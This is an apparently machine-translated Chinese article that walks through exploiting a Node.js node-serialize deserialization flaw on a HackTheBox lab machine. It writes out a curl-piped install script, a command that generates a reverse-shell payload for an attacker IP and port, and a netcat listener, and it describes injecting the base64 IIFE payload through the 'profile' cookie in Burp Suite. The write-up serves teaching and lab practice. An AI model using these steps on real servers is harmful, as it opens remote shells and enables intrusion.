Node.js反序列化攻击漏洞区块链
导语:WF曲速未来提醒:node.js的序列化过程中存在远程代码执行漏洞。更直白的说,其实是node.js的node-serialize库存在漏洞。通过传输JavaScriptIIFE(立即执行函数表达式),攻击者可以利用恶意代码(不受信任的数据),在反序列化过程中远程执行任意代码。
导语:
WF曲速未来提醒:node.js的序列化过程中存在远程代码执行漏洞。更直白的说,其实是node.js的node-serialize库存在漏洞。通过传输JavaScript IIFE(立即执行函数表达式),攻击者可以利用恶意代码(不受信任的数据),在反序列化过程中远程执行任意代码。
WF曲速区表示:Node.js是一个Javascript服务器端的运行环境。它封装了Google V8引擎。 Google V8引擎可以快速运行具有高性能的Javascript。Node.js优化某些特殊情况并提供替代APls,使Google V8引擎能够在非浏览器环境中更有效地运行。
但是Node。js的序列化过程中仍然存在远程代码执行漏洞。Node.js的node-serialize库有一个漏洞。通过传输JavaScript IIFE,攻击者可以使用恶意代码(不受信任的数据)在反序列化中远程运行任意代码。
关于漏洞(反序列化攻击)
不受信任的数据被传递到unserialize()函数,这导致我们可以绕过JavaScript对象的立即调用的函数表达式IIFE来实现任意代码执行。
所以你的步骤是在apt-get命令的帮助下安装nodejs包,如下所示:
命令:apt-get install nodejs

在下一步中,您需要在CURL命令的帮助下安装npm实用程序(有关使用npm进一步安装node-serialize包),如下所示:
命令:curl -L https://www.npmjs.com/install.sh |SH

一旦你安装和配置Nodejs和Npm,只需在npm的帮助下输入node-serialize包,输入“npm install node-serialize”,如下所示:

另一方面,我们已经与HacktheBox服务器连接,其服务器的漏洞节点机器IP为10.10.10.85:3000(运行Nodejs Express Framework,您可以使用Nmap Scanning进一步确认)

因此,在第一步中,您需要在最受欢迎的代理拦截工具之一(即Burp Suite)的帮助下捕获上述Nodejs易受攻击IP的GET请求,如下所示:

在第二步中,只需选择cookie值并将其发送到Decoder选项卡以进行进一步解密。

此易受攻击的Web应用程序中的漏洞是,它从HTTP请求中读取名为profile的cookie,执行cookie值的base64解码并将其传递给unserialize()函数。由于cookie是不受信任的输入,攻击者可以利用恶意cookie值来利用此漏洞。

第三步,要安装Nodejs Security Toolkit,请在终端中键入以下命令。
命令:git clone https://github.com/ajinabraham/Node.Js-Security-Course.git

导航到下载的文件夹并运行以下命令以创建反向shell有效内容,该有效负载将javascript代码评估为字符串。
首先,您需要通过键入“ifconfig”找出隧道IP,然后运行以下命令:
命令: python nodejsshell.py 10.10.14.145 4443

这是最终反向shell有效负载的输出。

现在让我们使用以下javascript生成序列化的有效负载。
代码:


用大括号{eval(String.from ......... })添加上面的有效负载输出,如下所示:

将文件另存为exploit.js并使用node命令运行,该命令生成最终的序列化有效负载,如下所示:
命令:node exploit.js

现在回到BurpSuite并导航到Decoder选项卡并将上面的输出代码粘贴到Textarea中,然后在解码之前,在函数体之后添加IIFE括号(),如下所示:
在这里,我们需要执行相同的Base64编码,然后在Cookie标头值中使用编码的有效负载向Web服务器发出请求。

现在要发出请求,您需要向Repeater 选项卡发送相同的请求。

在Repeater选项卡中,您需要将cookie值替换为我们从上面步骤生成的base64编码值,然后单击GO按钮。

并排,确保您的netcat服务正在侦听相同的端口,即4443(反向shell负载的相同端口)
命令:nc -lvp 4443

一旦你单击Go按钮,请求将命中到服务器,显示200 OK响应,并显示一条错误消息“发生错误...无效的用户名类型”,并立即在netcat终端中与该服务器连接,状态为“已连接”。

区块链安全公司WF曲速未来提醒:本实践实现了Node.js 反序列化漏洞远程执行代码的演示,并对漏洞进行了详细的分析。该漏洞本质上是构造Payload传入unserrialize()函数进行反序列化:使用JavaScript的立即调用函数表达式(IIFE),当对象被创建时,将 该JavaScript 对象传入 serialize() 函数,输出exploit将其传入unserialize() 函数,可以实现任意代码执行。危害不容小觑。
1.TMT观察网遵循行业规范,任何转载的稿件都会明确标注作者和来源;
2.TMT观察网的原创文章,请转载时务必注明文章作者和"来源:TMT观察网",不尊重原创的行为TMT观察网或将追究责任;
3.作者投稿可能会经TMT观察网编辑修改或补充。

